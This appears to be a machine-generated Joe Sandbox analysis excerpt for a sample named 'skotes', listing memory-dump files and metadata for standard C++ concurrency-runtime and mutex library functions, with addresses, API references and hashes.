Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: d09c95838ecd22b3073bb993016bf70fd46461d162b460cb042b2c3531fd4b91
Instruction ID: 2e5c943c4905fdeef31a9dd7e2cb638e216315b6ecbaba8865b3580026693f4b
Opcode Fuzzy Hash: d09c95838ecd22b3073bb993016bf70fd46461d162b460cb042b2c3531fd4b91
Instruction Fuzzy Hash: 8741CF78A046449ACF19FBB0A4957FC7BA16F23304F1444A9E8526F6C3DB348E08C762

Function 001AE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 001AE7D7

Part of subcall function 001AE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 001AE577
Part of subcall function 001AE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 001AE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 001AE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 001AE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 001AE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 001AE879
Concurrency::location::_Assign.LIBCMT ref: 001AE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 001AE8B5

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: cc373447a176fdcf7317d918ee6cbc84f2e62105ad4503d4da67e8f2f8e083cb
Instruction ID: 4938c26cebe74f7f4b52334fdf5467dd6f1d2927cb4875c44fae493e3f4b469e
Opcode Fuzzy Hash: cc373447a176fdcf7317d918ee6cbc84f2e62105ad4503d4da67e8f2f8e083cb
Instruction Fuzzy Hash: E0411879A002059FCF05EFA4C895BADB7B5FF49310F1880A9DD499B382DB34A941CB91

Function 00196E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00196ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00196F22
std::_Rethrow_future_exception.LIBCPMT ref: 00196F32
__Mtx_unlock.LIBCPMT ref: 00196FD5
__Mtx_unlock.LIBCPMT ref: 001970DB
__Mtx_unlock.LIBCPMT ref: 00197116

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 1e4e244a4a9e5ce1ddb7d6904a5f3f3adc5fcffc83f16c604efced94abe421c7
Instruction ID: c033103462b5cc999e2f697d4414ac56297fafc29cb70863cf0da5961b7aaabf
Opcode Fuzzy Hash: 1e4e244a4a9e5ce1ddb7d6904a5f3f3adc5fcffc83f16c604efced94abe421c7
Instruction Fuzzy Hash: 09C1EF70D043089FDF25DFA4D945BAEBBF4AF15310F04452EE85697681EB31AA48CBA1

Function 001A44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001A4538
ListArray.LIBCONCRT ref: 001A456C
Hash.LIBCMT ref: 001A45D5
Hash.LIBCMT ref: 001A45E5

Part of subcall function 001A9C41: std::bad_exception::bad_exception.LIBCMT ref: 001A9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 001A474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001A47A4

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: f4b787ddec67f31b9549a8e329855d03dac0aa64e85b2b92ca4da5e94944c9b7
Instruction ID: 92336c685dacf3c4fecfcfa8129749ed983fa5310100015eb4006789566052c7
Opcode Fuzzy Hash: f4b787ddec67f31b9549a8e329855d03dac0aa64e85b2b92ca4da5e94944c9b7
Instruction Fuzzy Hash: DB8182B4A11B62BBD708DF74C845BD9FAA8BF5A710F10021AF528D7281CBB4A560CBD0

Function 0019EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0019EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0019EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0019EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0019EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0019EF31

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978548767.00000000003CD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978675529.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978857853.00000000003D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978966178.00000000003D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979043383.00000000003D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979125567.00000000003DA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979242015.00000000003DB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979358822.00000000003E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979464086.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979563451.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979662829.00000000003E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979766674.00000000003EF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979863912.00000000003F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2979962097.00000000003F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980030613.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980125576.00000000003FA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980227880.0000000000402000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980421694.000000000041D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.0000000000421000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980503317.000000000043F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980692553.000000000046B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980778096.000000000046C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980867276.000000000046F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980941400.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2980991090.0000000000480000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 49ee4041df581674b9f35207b2c495bc70ab26b728c4e348c03f3470f2aa79e1
Instruction ID: 937efb366ce4c676250fdb9a510eb400c0f601b531981624e94df1a0d9e6bbf9
Opcode Fuzzy Hash: 49ee4041df581674b9f35207b2c495bc70ab26b728c4e348c03f3470f2aa79e1
Instruction Fuzzy Hash: B7219270C14219DEDF28EFA4C8456EEBBF0FF25360F200A2EE051A61D1E7B18A44CB51

Function 001B1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 001B1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001B1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001B1C2A

Strings

switchState, xrefs: 001B1B5E
pContext, xrefs: 001B1C22

Memory Dump Source

Source File: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, Offset: 00180000, based on PE: true

Associated: 00000006.00000002.2974620458.0000000000180000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2974802669.00000000001E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975238196.00000000001E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975388847.00000000001EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2975507603.00000000001F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976140670.0000000000345000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976317830.0000000000348000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000358000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976429791.0000000000362000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976672343.000000000036C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976809142.000000000036F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2976975738.0000000000378000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977129481.000000000037F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977294228.0000000000394000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977500329.0000000000395000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977611697.000000000039E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2977824513.00000000003AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978078702.00000000003C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978306319.00000000003C8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2978432341.00000000003C9000.00000080.00000001.01000000.00000008.sdmpDownload File
